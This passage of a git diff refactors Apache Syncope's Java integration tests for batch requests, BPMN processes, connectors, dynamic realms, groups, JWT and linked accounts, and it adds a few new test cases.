XML_MAPPER.readValue( resItems.get(1).getContent(), new TypeReference<>() { - }); + }); assertNotNull(group.getEntity().getKey()); assertEquals(Response.Status.NO_CONTENT.getStatusCode(), resItems.get(2).getStatus()); @@ -185,7 +182,7 @@ private static void check(final List resItems) throws IOExcep assertEquals(MediaType.APPLICATION_JSON, resItems.get(5).getHeaders().get(HttpHeaders.CONTENT_TYPE).get(0)); group = JSON_MAPPER.readValue( resItems.get(5).getContent(), new TypeReference<>() { - }); + }); assertNotNull(group); } @@ -201,7 +198,7 @@ public void webClientSync() throws IOException { assertTrue(response.getMediaType().toString(). startsWith(RESTHeaders.multipartMixedWith(boundary.substring(2)))); - String body = IOUtils.toString((InputStream) response.getEntity(), StandardCharsets.UTF_8); + String body = response.readEntity(String.class); LOG.debug("Batch response body:\n{}", body); check(BatchPayloadParser.parse( @@ -245,7 +242,7 @@ public void webClientAsync() throws IOException { assertTrue(response.getMediaType().toString(). startsWith(RESTHeaders.multipartMixedWith(boundary.substring(2)))); - String body = IOUtils.toString((InputStream) response.getEntity(), StandardCharsets.UTF_8); + String body = response.readEntity(String.class); LOG.debug("Batch response body:\n{}", body); check(BatchPayloadParser.parse( @@ -321,18 +318,8 @@ public void syncopeClientAsync() throws IOException { assertEquals(Response.Status.ACCEPTED.getStatusCode(), response.getStatus()); assertTrue(response.getMediaType().toString().startsWith(RESTHeaders.MULTIPART_MIXED)); - for (int i = 0; i < 10 && response.getStatus() == Response.Status.ACCEPTED.getStatusCode(); i++) { - // wait a bit... - try { - Thread.sleep(2000); - } catch (InterruptedException e) { - } - - // check results - response = batchResponse.poll(); - } - assertEquals(Response.Status.OK.getStatusCode(), response.getStatus()); - assertTrue(response.getMediaType().toString().startsWith(RESTHeaders.MULTIPART_MIXED)); + await().atMost(10, TimeUnit.SECONDS).pollInterval(1, TimeUnit.SECONDS). + until(() -> batchResponse.poll().getStatus() == Response.Status.OK.getStatusCode()); check(batchResponse.getItems()); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/BpmnProcessITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/BpmnProcessITCase.java index 725d8adaf6e..e79b27af519 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/BpmnProcessITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/BpmnProcessITCase.java @@ -25,10 +25,7 @@ import static org.junit.jupiter.api.Assumptions.assumeTrue; import java.io.IOException; -import java.io.InputStream; -import java.nio.charset.StandardCharsets; import javax.ws.rs.core.Response; -import org.apache.commons.io.IOUtils; import org.apache.syncope.client.lib.SyncopeClientFactoryBean; import org.apache.syncope.common.lib.to.BpmnProcess; import org.apache.syncope.fit.AbstractITCase; @@ -62,8 +59,7 @@ public void exportUserWorkflowProcess() throws IOException { Response response = BPMN_PROCESS_SERVICE.get(USER_WORKFLOW_KEY); assertTrue(response.getMediaType().toString(). startsWith(CLIENT_FACTORY.getContentType().getMediaType().toString())); - assertTrue(response.getEntity() instanceof InputStream); - String definition = IOUtils.toString((InputStream) response.getEntity(), StandardCharsets.UTF_8); + String definition = response.readEntity(String.class); assertNotNull(definition); assertFalse(definition.isEmpty()); } @@ -71,7 +67,7 @@ public void exportUserWorkflowProcess() throws IOException { @Test public void updateUserWorkflowProcess() throws IOException { Response response = BPMN_PROCESS_SERVICE.get(USER_WORKFLOW_KEY); - String definition = IOUtils.toString((InputStream) response.getEntity(), StandardCharsets.UTF_8); + String definition = response.readEntity(String.class); BPMN_PROCESS_SERVICE.set(USER_WORKFLOW_KEY, definition); } diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/CommandITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/CommandITCase.java index cb2cfc72bdb..5a30b133fb3 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/CommandITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/CommandITCase.java @@ -36,6 +36,7 @@ import org.apache.syncope.common.lib.types.ImplementationEngine; import org.apache.syncope.common.rest.api.RESTHeaders; import org.apache.syncope.common.rest.api.beans.CommandQuery; +import org.apache.syncope.common.rest.api.beans.RealmQuery; import org.apache.syncope.fit.AbstractITCase; import org.apache.syncope.fit.core.reference.TestCommand; import org.apache.syncope.fit.core.reference.TestCommandArgs; @@ -103,13 +104,17 @@ public void runCommand() { CommandOutput output = COMMAND_SERVICE.run(command); assertNotNull(output); + AnyObjectTO printer = null; try { - AnyObjectTO printer = ANY_OBJECT_SERVICE.read(args.getPrinterName()); + printer = ANY_OBJECT_SERVICE.read(PRINTER, args.getPrinterName()); assertNotNull(printer); assertEquals(args.getParentRealm() + "/" + args.getRealmName(), printer.getRealm()); - assertFalse(REALM_SERVICE.list(printer.getRealm()).isEmpty()); + assertFalse(REALM_SERVICE.search( + new RealmQuery.Builder().base(printer.getRealm()).build()).getResult().isEmpty()); } finally { - ANY_OBJECT_SERVICE.delete(args.getPrinterName()); + if (printer != null) { + ANY_OBJECT_SERVICE.delete(printer.getKey()); + } REALM_SERVICE.delete(args.getParentRealm() + "/" + args.getRealmName()); } } diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ConnectorITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ConnectorITCase.java index 3e63f28e510..5f19ad204a5 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ConnectorITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ConnectorITCase.java @@ -81,7 +81,7 @@ public static void setUpConnIdBundles() throws IOException { props.load(propStream); CONNID_SOAP_VERSION = props.getProperty("connid.soap.version"); - CONNID_DB_VERSION = props.getProperty("connid.database.version"); + CONNID_DB_VERSION = props.getProperty("connid.db.version"); TEST_JDBC_URL = props.getProperty("testdb.url"); } catch (Exception e) { @@ -350,22 +350,14 @@ public void checkHiddenProperty() { @Test public void checkSelectedLanguage() { // 1. Check Italian - List connInstances = CONNECTOR_SERVICE.list("it"); - - for (ConnInstanceTO instance : connInstances) { - if ("net.tirasa.connid.bundles.db.table".equals(instance.getBundleName())) { - assertEquals("Utente", instance.getConf("user").get().getSchema().getDisplayName()); - } - } + assertTrue(CONNECTOR_SERVICE.list("it").stream(). + filter(i -> "net.tirasa.connid.bundles.db.table.DatabaseTableConnector".equals(i.getConnectorName())). + allMatch(i -> "Utente".equals(i.getConf("user").get().getSchema().getDisplayName()))); // 2. Check English (default) - connInstances = CONNECTOR_SERVICE.list(null); - - for (ConnInstanceTO instance : connInstances) { - if ("net.tirasa.connid.bundles.db.table".equals(instance.getBundleName())) { - assertEquals("User", instance.getConf("user").get().getSchema().getDisplayName()); - } - } + assertTrue(CONNECTOR_SERVICE.list(null).stream(). + filter(i -> "net.tirasa.connid.bundles.db.table.DatabaseTableConnector".equals(i.getConnectorName())). + allMatch(i -> "User".equals(i.getConf("user").get().getSchema().getDisplayName()))); } @Test @@ -375,7 +367,7 @@ public void validate() { connectorTO.setLocation(CONNECTOR_SERVER_LOCATION); connectorTO.setVersion(CONNID_DB_VERSION); connectorTO.setConnectorName("net.tirasa.connid.bundles.db.table.DatabaseTableConnector"); - connectorTO.setBundleName("net.tirasa.connid.bundles.db.table"); + connectorTO.setBundleName("net.tirasa.connid.bundles.db"); connectorTO.setDisplayName("H2Test"); // set the connector configuration using PropertyTO diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/DelegationITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/DelegationITCase.java index 90cd2be1dde..11b6124d904 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/DelegationITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/DelegationITCase.java @@ -240,7 +240,7 @@ public void operations() { // 3b. search users as rossini with delegation -> SUCCESS int forRossini = rossini.delegatedBy("bellini").getService(UserService.class).search( new AnyQuery.Builder().realm(SyncopeConstants.ROOT_REALM).build()).getTotalCount(); - if (!IS_ELASTICSEARCH_ENABLED) { + if (!IS_EXT_SEARCH_ENABLED) { assertEquals(forBellini, forRossini); } diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/DynRealmITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/DynRealmITCase.java index 7e26cd31dc7..71b26b2ca8e 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/DynRealmITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/DynRealmITCase.java @@ -25,12 +25,18 @@ import static org.junit.jupiter.api.Assertions.fail; import com.fasterxml.jackson.databind.node.ArrayNode; -import java.nio.charset.StandardCharsets; +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpRequest.BodyPublishers; +import java.net.http.HttpResponse; +import java.net.http.HttpResponse.BodyHandlers; import javax.ws.rs.core.GenericType; +import javax.ws.rs.core.HttpHeaders; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; -import org.apache.commons.io.IOUtils; import org.apache.syncope.client.lib.SyncopeClient; +import org.apache.syncope.common.lib.Attr; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.request.AttrPatch; @@ -54,16 +60,31 @@ import org.apache.syncope.common.rest.api.service.GroupService; import org.apache.syncope.common.rest.api.service.UserService; import org.apache.syncope.fit.AbstractITCase; -import org.eclipse.jetty.client.HttpClient; -import org.eclipse.jetty.client.api.ContentResponse; -import org.eclipse.jetty.client.util.InputStreamContentProvider; -import org.eclipse.jetty.http.HttpHeader; -import org.eclipse.jetty.http.HttpMethod; -import org.eclipse.jetty.http.HttpStatus; import org.junit.jupiter.api.Test; public class DynRealmITCase extends AbstractITCase { + private static ArrayNode fetchDynRealmsFromElasticsearch(final String userKey) throws Exception { + String body = + '{' + + " \"query\": {" + + " \"match\": {\"_id\": \"" + userKey + "\"}" + + " }" + + '}'; + + HttpClient client = HttpClient.newHttpClient(); + HttpResponse response = client.send( + HttpRequest.newBuilder(URI.create("http://localhost:9200/master_user/_search")). + header(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON). + method("GET", BodyPublishers.ofString(body)). + build(), + BodyHandlers.ofString()); + assertEquals(Response.Status.OK.getStatusCode(), response.statusCode()); + + return (ArrayNode) JSON_MAPPER.readTree(response.body()). + get("hits").get("hits").get(0).get("_source").get("dynRealms"); + } + @Test public void misc() { DynRealmTO dynRealm = null; @@ -150,7 +171,7 @@ public void delegatedAdmin() { assertNotNull(group); final String groupKey = group.getKey(); - if (IS_ELASTICSEARCH_ENABLED) { + if (IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { @@ -222,27 +243,6 @@ public void delegatedAdmin() { } } - private static ArrayNode fetchDynRealmsFromElasticsearch(final String userKey) throws Exception { - String body = - '{' - + " \"query\": {" - + " \"match\": {\"_id\": \"" + userKey + "\"}" - + " }" - + '}'; - - HttpClient httpClient = new HttpClient(); - httpClient.start(); - ContentResponse response = httpClient.newRequest("http://localhost:9200/master_user/_search"). - method(HttpMethod.GET). - header(HttpHeader.CONTENT_TYPE, MediaType.APPLICATION_JSON). - content(new InputStreamContentProvider(IOUtils.toInputStream(body, StandardCharsets.UTF_8))). - send(); - assertEquals(HttpStatus.OK_200, response.getStatus()); - - return (ArrayNode) JSON_MAPPER.readTree(response.getContent()). - get("hits").get("hits").get(0).get("_source").get("dynRealms"); - } - @Test public void issueSYNCOPE1480() throws Exception { String ctype = getUUIDString(); @@ -253,7 +253,6 @@ public void issueSYNCOPE1480() throws Exception { dynRealm = new DynRealmTO(); dynRealm.setKey("name" + getUUIDString()); dynRealm.getDynMembershipConds().put(AnyTypeKind.USER.name(), "ctype==" + ctype); - DYN_REALM_SERVICE.create(dynRealm); Response response = DYN_REALM_SERVICE.create(dynRealm); dynRealm = getObject(response.getLocation(), DynRealmService.class, DynRealmTO.class); @@ -271,7 +270,7 @@ public void issueSYNCOPE1480() throws Exception { assertNotNull(user.getKey()); // 4a. check that Elasticsearch index was updated correctly - if (IS_ELASTICSEARCH_ENABLED) { + if (IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { @@ -293,7 +292,7 @@ public void issueSYNCOPE1480() throws Exception { DYN_REALM_SERVICE.update(dynRealm); // 6a. check that Elasticsearch index was updated correctly - if (IS_ELASTICSEARCH_ENABLED) { + if (IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { @@ -314,4 +313,81 @@ public void issueSYNCOPE1480() throws Exception { } } } + + @Test + public void issueSYNCOPE1806() { + DynRealmTO realm1 = null; + DynRealmTO realm2 = null; + try { + // 1. create two dyn realms with same condition + realm1 = new DynRealmTO(); + realm1.setKey("realm1"); + realm1.getDynMembershipConds().put(AnyTypeKind.USER.name(), "cool==true"); + realm1 = getObject(DYN_REALM_SERVICE.create(realm1).getLocation(), DynRealmService.class, DynRealmTO.class); + assertNotNull(realm1); + + realm2 = new DynRealmTO(); + realm2.setKey("realm2"); + realm2.getDynMembershipConds().put(AnyTypeKind.USER.name(), "cool==true"); + realm2 = getObject(DYN_REALM_SERVICE.create(realm2).getLocation(), DynRealmService.class, DynRealmTO.class); + assertNotNull(realm2); + + // 2. verify that dynamic members are the same + if (IS_EXT_SEARCH_ENABLED) { + try { + Thread.sleep(2000); + } catch (InterruptedException ex) { + // ignore + } + } + + PagedResult matching1 = USER_SERVICE.search(new AnyQuery.Builder().realm("/").fiql( + SyncopeClient.getUserSearchConditionBuilder().inDynRealms(realm1.getKey()).query()).build()); + PagedResult matching2 = USER_SERVICE.search(new AnyQuery.Builder().realm("/").fiql( + SyncopeClient.getUserSearchConditionBuilder().inDynRealms(realm2.getKey()).query()).build()); + + assertEquals(matching1, matching2); + assertEquals(1, matching1.getResult().size()); + assertTrue(matching1.getResult().stream(). + anyMatch(u -> "c9b2dec2-00a7-4855-97c0-d854842b4b24".equals(u.getKey()))); + + // 3. update an user to let them become part of both dyn realms + UserUR userUR = new UserUR(); + userUR.setKey("823074dc-d280-436d-a7dd-07399fae48ec"); + userUR.getPlainAttrs().add(new AttrPatch.Builder(new Attr.Builder("cool").value("true").build()).build()); + updateUser(userUR); + + // 4. verify that dynamic members are still the same + if (IS_EXT_SEARCH_ENABLED) { + try { + Thread.sleep(2000); + } catch (InterruptedException ex) { + // ignore + } + } + + matching1 = USER_SERVICE.search(new AnyQuery.Builder().realm("/").fiql( + SyncopeClient.getUserSearchConditionBuilder().inDynRealms(realm1.getKey()).query()).build()); + matching2 = USER_SERVICE.search(new AnyQuery.Builder().realm("/").fiql( + SyncopeClient.getUserSearchConditionBuilder().inDynRealms(realm2.getKey()).query()).build()); + assertEquals(matching1, matching2); + assertEquals(2, matching1.getResult().size()); + assertTrue(matching1.getResult().stream(). + anyMatch(u -> "c9b2dec2-00a7-4855-97c0-d854842b4b24".equals(u.getKey()))); + assertTrue(matching1.getResult().stream(). + anyMatch(u -> "823074dc-d280-436d-a7dd-07399fae48ec".equals(u.getKey()))); + } finally { + if (realm1 != null) { + DYN_REALM_SERVICE.delete(realm1.getKey()); + } + if (realm2 != null) { + DYN_REALM_SERVICE.delete(realm2.getKey()); + } + UserUR userUR = new UserUR(); + userUR.setKey("823074dc-d280-436d-a7dd-07399fae48ec"); + userUR.getPlainAttrs().add(new AttrPatch.Builder(new Attr.Builder("cool").build()). + operation(PatchOperation.DELETE).build()); + updateUser(userUR); + } + } } diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ExceptionMapperITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ExceptionMapperITCase.java index a7ef5e8ac4c..2a7d79c519f 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ExceptionMapperITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ExceptionMapperITCase.java @@ -183,7 +183,7 @@ public void invalidRequests() { } try { - CLIENT_FACTORY.create(ANONYMOUS_UNAME, ANONYMOUS_KEY).getService(AccessTokenService.class).login(); + ANONYMOUS_CLIENT.getService(AccessTokenService.class).login(); fail("This should not happen"); } catch (SyncopeClientException e) { assertEquals(ClientExceptionType.InvalidRequest, e.getType()); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/GroupITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/GroupITCase.java index a859b95b1b3..fbb958c4d91 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/GroupITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/GroupITCase.java @@ -19,6 +19,7 @@ package org.apache.syncope.fit.core; import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertFalse; import static org.junit.jupiter.api.Assertions.assertNotEquals; @@ -29,9 +30,9 @@ import static org.junit.jupiter.api.Assumptions.assumeFalse; import java.io.IOException; -import java.security.AccessControlException; import java.util.List; import java.util.Map; +import java.util.Optional; import java.util.UUID; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicReference; @@ -44,7 +45,6 @@ import javax.ws.rs.core.GenericType; import javax.ws.rs.core.Response; import org.apache.commons.lang3.SerializationUtils; -import org.apache.syncope.client.lib.AnonymousAuthenticationHandler; import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.common.lib.AnyOperations; import org.apache.syncope.common.lib.Attr; @@ -303,7 +303,7 @@ public void updateAsGroupOwner() { try { groupService2.update(groupUR); fail("This should not happen"); - } catch (ForbiddenException e) { + } catch (Exception e) { assertNotNull(e); } @@ -661,25 +661,15 @@ public void encrypted() throws Exception { @Test public void anonymous() { - GroupService unauthenticated = CLIENT_FACTORY.create().getService(GroupService.class); - try { - unauthenticated.search(new AnyQuery.Builder().realm("/even").build()); - fail("This should not happen"); - } catch (AccessControlException e) { - assertNotNull(e); - } - - SyncopeClient anonymous = CLIENT_FACTORY.create( - new AnonymousAuthenticationHandler(ANONYMOUS_UNAME, ANONYMOUS_KEY)); try { - anonymous.getService(GroupService.class). + ANONYMOUS_CLIENT.getService(GroupService.class). search(new AnyQuery.Builder().realm("/even").build()); fail("This should not happen"); } catch (ForbiddenException e) { assertNotNull(e); } - assertFalse(anonymous.getService(SyncopeService.class). + assertFalse(ANONYMOUS_CLIENT.getService(SyncopeService.class). searchAssignableGroups("/even", null, 1, 100).getResult().isEmpty()); } @@ -689,22 +679,26 @@ public void uDynMembership() { GroupCR groupCR = getBasicSample("uDynMembership"); groupCR.setUDynMembershipCond("cool==true"); - GroupTO group = createGroup(groupCR).getEntity(); - assertNotNull(group); - final String groupKey = group.getKey(); + GroupTO group = null; + try { + group = createGroup(groupCR).getEntity(); + assertNotNull(group); + String groupKey = group.getKey(); - List memberships = USER_SERVICE.read( - "c9b2dec2-00a7-4855-97c0-d854842b4b24").getDynMemberships(); - assertTrue(memberships.stream().anyMatch(m -> m.getGroupKey().equals(groupKey))); - assertEquals(1, GROUP_SERVICE.read(group.getKey()).getDynamicUserMembershipCount()); + List memberships = + USER_SERVICE.read("c9b2dec2-00a7-4855-97c0-d854842b4b24").getDynMemberships(); + assertTrue(memberships.stream().anyMatch(m -> m.getGroupKey().equals(groupKey))); + assertEquals(1, GROUP_SERVICE.read(group.getKey()).getDynamicUserMembershipCount()); - GroupUR groupUR = new GroupUR(); - groupUR.setKey(group.getKey()); - groupUR.setUDynMembershipCond("cool==false"); - GROUP_SERVICE.update(groupUR); + GROUP_SERVICE.update(new GroupUR.Builder(group.getKey()).udynMembershipCond("cool==false").build()); - assertTrue(USER_SERVICE.read("c9b2dec2-00a7-4855-97c0-d854842b4b24").getDynMemberships().isEmpty()); - assertEquals(0, GROUP_SERVICE.read(group.getKey()).getDynamicUserMembershipCount()); + assertTrue(USER_SERVICE.read("c9b2dec2-00a7-4855-97c0-d854842b4b24").getDynMemberships().isEmpty()); + assertEquals(0, GROUP_SERVICE.read(group.getKey()).getDynamicUserMembershipCount()); + } finally { + if (group != null) { + GROUP_SERVICE.delete(group.getKey()); + } + } } @Test @@ -717,7 +711,7 @@ public void aDynMembership() { GroupTO group = createGroup(groupCR).getEntity(); assertEquals(fiql, group.getADynMembershipConds().get(PRINTER)); - if (IS_ELASTICSEARCH_ENABLED) { + if (IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { @@ -944,7 +938,7 @@ public void typeExtensions() { @Test public void provisionMembers() throws InterruptedException { - assumeFalse(IS_ELASTICSEARCH_ENABLED); + assumeFalse(IS_EXT_SEARCH_ENABLED); // 1. create group without resources GroupCR groupCR = getBasicSample("forProvision"); @@ -960,7 +954,6 @@ public void provisionMembers() throws InterruptedException { groupUR.setKey(groupTO.getKey()); groupUR.getResources().add(new StringPatchItem.Builder().value(RESOURCE_NAME_LDAP).build()); ProvisioningResult groupUpdateResult = updateGroup(groupUR); - groupTO = groupUpdateResult.getEntity(); PropagationStatus propStatus = groupUpdateResult.getPropagationStatuses().get(0); assertEquals(RESOURCE_NAME_LDAP, propStatus.getResource()); @@ -994,32 +987,49 @@ public void provisionMembers() throws InterruptedException { ConnObject userOnLdap = RESOURCE_SERVICE.readConnObject(RESOURCE_NAME_LDAP, AnyTypeKind.USER.name(), userTO.getKey()); assertNotNull(userOnLdap); + + // 7. attempt to execute the same task again: no errors + assertDoesNotThrow(() -> GROUP_SERVICE.provisionMembers(groupTO.getKey(), ProvisionAction.PROVISION)); } finally { GROUP_SERVICE.delete(groupTO.getKey()); USER_SERVICE.delete(userTO.getKey()); } } + @Test + public void unlimitedMembership() { + GroupCR groupCR = new GroupCR(); + groupCR.setName("unlimited" + getUUIDString()); + groupCR.setRealm("/even/two"); + GroupTO groupTO = createGroup(groupCR).getEntity(); + + UserCR userCR = UserITCase.getUniqueSample("unlimited@syncope.apache.org"); + userCR.setRealm(SyncopeConstants.ROOT_REALM); + userCR.getMemberships().add(new MembershipTO.Builder(groupTO.getKey()).build()); + UserTO userTO = createUser(userCR).getEntity(); + + assertFalse(userTO.getMemberships().isEmpty()); + assertEquals(groupTO.getKey(), userTO.getMemberships().get(0).getGroupKey()); + } + @Test public void issue178() { GroupCR groupCR = new GroupCR(); - String groupName = "torename" + getUUIDString(); - groupCR.setName(groupName); - groupCR.setRealm("/"); + groupCR.setName("torename" + getUUIDString()); + groupCR.setRealm(SyncopeConstants.ROOT_REALM); GroupTO actual = createGroup(groupCR).getEntity(); assertNotNull(actual); - assertEquals(groupName, actual.getName()); + assertEquals(groupCR.getName(), actual.getName()); GroupUR groupUR = new GroupUR(); groupUR.setKey(actual.getKey()); - String renamedGroup = "renamed" + getUUIDString(); - groupUR.setName(new StringReplacePatchItem.Builder().value(renamedGroup).build()); + groupUR.setName(new StringReplacePatchItem.Builder().value("renamed" + getUUIDString()).build()); actual = updateGroup(groupUR).getEntity(); assertNotNull(actual); - assertEquals(renamedGroup, actual.getName()); + assertEquals(groupUR.getName().getValue(), actual.getName()); } @Test @@ -1116,9 +1126,7 @@ public void issueSYNCOPE632() { assertEquals(1, entries); } finally { SCHEMA_SERVICE.update(SchemaType.DERIVED, orig); - if (groupTO != null) { - GROUP_SERVICE.delete(groupTO.getKey()); - } + Optional.ofNullable(groupTO).ifPresent(g -> GROUP_SERVICE.delete(g.getKey())); RESOURCE_SERVICE.delete("new-ldap"); } } @@ -1214,9 +1222,7 @@ public void issueSYNCOPE1467() { assertNotNull(connObjectTO); assertEquals("fixedSYNCOPE1467", connObjectTO.getAttr("cn").get().getValues().get(0)); } finally { - if (groupTO.getKey() != null) { - GROUP_SERVICE.delete(groupTO.getKey()); - } + Optional.ofNullable(groupTO).ifPresent(g -> GROUP_SERVICE.delete(g.getKey())); } } diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/JWTITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/JWTITCase.java index 8ada145a3af..4e03db45c15 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/JWTITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/JWTITCase.java @@ -469,7 +469,7 @@ public void thirdPartyTokenBadSignature() notBeforeTime(currentTime); AccessTokenJWSSigner customJWSSigner = - new AccessTokenJWSSigner(JWS_ALGORITHM, RandomStringUtils.randomAlphanumeric(512)); + new AccessTokenJWSSigner(JWS_ALGORITHM, RandomStringUtils.insecure().nextAlphanumeric(512)); SignedJWT jwt = new SignedJWT(new JWSHeader(customJWSSigner.getJwsAlgorithm()), claimsSet.build()); jwt.sign(customJWSSigner); diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/KeymasterITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/KeymasterITCase.java index d77bfe5f1a2..cc288b62e68 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/KeymasterITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/KeymasterITCase.java @@ -281,7 +281,7 @@ public void domainCRUD() throws Exception { assertNotNull(user); assertEquals("monteverdi", user.getUsername()); - if (IS_ELASTICSEARCH_ENABLED) { + if (IS_EXT_SEARCH_ENABLED) { try { Thread.sleep(2000); } catch (InterruptedException ex) { @@ -330,8 +330,8 @@ public void domainUpdateAdminPassword() throws Exception { // 1. change admin pwd for domain Two domainOps.changeAdminPassword( two.getKey(), - Encryptor.getInstance().encode("password3", CipherAlgorithm.AES), - CipherAlgorithm.AES); + Encryptor.getInstance().encode("password3", CipherAlgorithm.BCRYPT), + CipherAlgorithm.BCRYPT); // 2. attempt to access with old pwd -> fail try { diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/LinkedAccountITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/LinkedAccountITCase.java index b257aec88ad..2a8cf9e66c2 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/LinkedAccountITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/LinkedAccountITCase.java @@ -18,12 +18,15 @@ */ package org.apache.syncope.fit.core; +import static org.awaitility.Awaitility.await; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertFalse; import static org.junit.jupiter.api.Assertions.assertNotEquals; import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.assertNull; import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; +import static org.junit.jupiter.api.Assumptions.assumeFalse; import com.fasterxml.jackson.databind.node.ObjectNode; import java.util.List; @@ -54,6 +57,7 @@ import org.apache.syncope.common.lib.to.TaskTO; import org.apache.syncope.common.lib.to.UserTO; import org.apache.syncope.common.lib.types.AnyTypeKind; +import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.syncope.common.lib.types.ExecStatus; import org.apache.syncope.common.lib.types.IdMImplementationType; import org.apache.syncope.common.lib.types.ImplementationEngine; @@ -67,10 +71,12 @@ import org.apache.syncope.common.rest.api.RESTHeaders; import org.apache.syncope.common.rest.api.beans.TaskQuery; import org.apache.syncope.common.rest.api.service.TaskService; +import org.apache.syncope.core.persistence.api.entity.task.PropagationData; import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; import org.apache.syncope.fit.AbstractITCase; import org.apache.syncope.fit.core.reference.LinkedAccountSamplePullCorrelationRule; import org.apache.syncope.fit.core.reference.LinkedAccountSamplePullCorrelationRuleConf; +import org.identityconnectors.framework.common.objects.OperationalAttributes; import org.junit.jupiter.api.Test; public class LinkedAccountITCase extends AbstractITCase { @@ -79,8 +85,8 @@ public class LinkedAccountITCase extends AbstractITCase { public void createWithLinkedAccountThenUpdateThenRemove() throws NamingException { // 1. create user with linked account UserCR userCR = UserITCase.getSample( - "linkedAccount" + RandomStringUtils.randomNumeric(5) + "@syncope.apache.org"); - String connObjectKeyValue = "uid=" + userCR.getUsername() + ",ou=People,o=isp"; + "linkedAccount" + RandomStringUtils.insecure().nextNumeric(5) + "@syncope.apache.org"); + String connObjectKeyValue = "firstAccountOf" + userCR.getUsername(); String privilege = APPLICATION_SERVICE.read("mightyApp").getPrivileges().get(0).getKey(); LinkedAccountTO account = new LinkedAccountTO.Builder(RESOURCE_NAME_LDAP, connObjectKeyValue).build(); @@ -107,7 +113,7 @@ public void createWithLinkedAccountThenUpdateThenRemove() throws NamingException assertEquals(user.getPlainAttr("email").get().getValues(), ldapObj.getAttr("mail").get().getValues()); assertEquals("LINKED_SURNAME", ldapObj.getAttr("sn").get().getValues().get(0)); - // 3. remove linked account from user + // 3. update linked account UserUR userUR = new UserUR(); userUR.setKey(user.getKey()); @@ -155,7 +161,7 @@ public void createWithLinkedAccountThenUpdateThenRemove() throws NamingException public void createWithLinkedAccountThenUpdateUsingPutThenRemove() throws NamingException { // 1. create user with linked account UserCR userCR = UserITCase.getSample( - "linkedAccount" + RandomStringUtils.randomNumeric(5) + "@syncope.apache.org"); + "linkedAccount" + RandomStringUtils.insecure().nextNumeric(5) + "@syncope.apache.org"); String connObjectKeyValue = "uid=" + userCR.getUsername() + ",ou=People,o=isp"; String privilege = APPLICATION_SERVICE.read("mightyApp").getPrivileges().get(0).getKey(); @@ -195,7 +201,7 @@ public void createWithLinkedAccountThenUpdateUsingPutThenRemove() throws NamingE public void createWithoutLinkedAccountThenAdd() throws NamingException { // 1. create user without linked account UserCR userCR = UserITCase.getSample( - "linkedAccount" + RandomStringUtils.randomNumeric(5) + "@syncope.apache.org"); + "linkedAccount" + RandomStringUtils.insecure().nextNumeric(5) + "@syncope.apache.org"); String connObjectKeyValue = "uid=" + userCR.getUsername() + ",ou=People,o=isp"; 